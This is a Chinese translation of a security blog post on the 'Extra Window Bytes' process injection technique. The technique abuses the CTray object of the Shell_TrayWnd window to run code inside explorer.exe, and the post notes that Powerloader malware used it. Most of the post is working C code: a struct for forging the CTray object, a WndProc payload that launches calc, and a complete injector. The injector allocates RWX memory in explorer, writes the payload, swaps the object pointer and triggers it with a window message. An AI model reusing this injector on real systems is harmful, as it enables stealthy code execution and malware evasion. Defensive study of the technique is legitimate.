原文:https://modexp.wordpress.com/2018/08/26/process-injection-ctray/

引言


这种注入方法因被2013年左右出现的Powerloader恶意软件采用而闻名于世。当然,大家都不清楚该技术首次用于进程注入是在什么时候,因为自80年代末或90年代初以来,被利用的功能就一直是Windows操作系统的一部分。额外的Window字节在索引0处的内容可用于将类对象与窗口相关联。此外,我们可以使用SetWindowLongPtr将指向类对象的指针存储到索引0处,同时,还可以使用GetWindowLongPtr检索指针。关于使用“Shell_TrayWnd”作为注入向量的讨论,最早可以追溯到一个名为"Indy(Clerk)"的用户在WASM论坛上的帖子。同时,在2009年左右,也有一些关于它的讨论。

图1显示了“Shell_TrayWnd”类的信息,您可以在其中看到Window字节在索引0处的值已被设置。

图1:Shell_TrayWnd的Window Spy++信息

Windows Spy++在这里并未显示完整的64位值,但如图2所示,GetWindowLongPtr API为同一窗口返回的值。

图2:CTray对象的完整地址

CTray类


这个类中只有三种方法,并且没有任何属性。每个方法的指针都是只读的,因此,我们不能直接用指向有效载荷的指针覆盖指向WndProc的指针。虽然我们可以手动构造对象,但我认为更好的方法是,将现有对象复制到本地内存,覆盖WndProc,并将对象写入资源管理器内存中的新位置。下面的结构可用于定义相应的对象和指针。

// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

上述结构提供了在32位和64位系统上替换CTray对象所需的一切。其中,ULONG_PTR的大小在32位系统上是4字节,在64位上是8字节。

有效载荷


这与PROPagate使用的有效载荷代码之间的主要区别在于函数原型方面。如果我们在返回调用者时没有释放相同数量的参数,则可能导致Windows资源管理器或使用与之相关的类的窗口崩溃。

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, 
  WPARAM wParam, LPARAM lParam)
{
    // ignore messages other than WM_CLOSE
    if (uMsg != WM_CLOSE) return 0;

    WinExec_t pWinExec;
    DWORD     szWinExec[2],
              szCalc[2];

    // WinExec
    szWinExec[0]=0x456E6957;
    szWinExec[1]=0x00636578;

    // calc
    szCalc[0] = 0x636C6163;
    szCalc[1] = 0;

    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
      pWinExec((LPSTR)szCalc, SW_SHOW);
    }
    return 0;
}

完整的函数代码


下面是完成位置无关代码(PIC)的注入任务的函数的完整代码。与所有示例一样,这里省略了错误检查,以便让读者把注意力放到具体注入过程上面。

LPVOID ewm(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;

    // 1. Obtain a handle for the shell tray window
    hw = FindWindow("Shell_TrayWnd", NULL);

    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);

    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);

    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 10. Write the new CTray object to remote memory
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;

    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 

    // 11. Set the new pointer to CTray object
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);

    // 12. Trigger the payload via a windows message
    PostMessage(hw, WM_CLOSE, 0, 0);

    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);

    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}

小结


这种针对窗口对象的注入方法通常属于粉碎窗口攻击类型。尽管随着Windows Vista引入了用户界面权限隔离(UIPI),这种攻击类型已经得到了一定程度的缓解,但这种注入方法在最新版本的Windows 10上仍然可以奏效。对于这种这种注入技术,这里提供了一个可以弹计算器的有效载荷的源代码。

源链接

Hacking more

...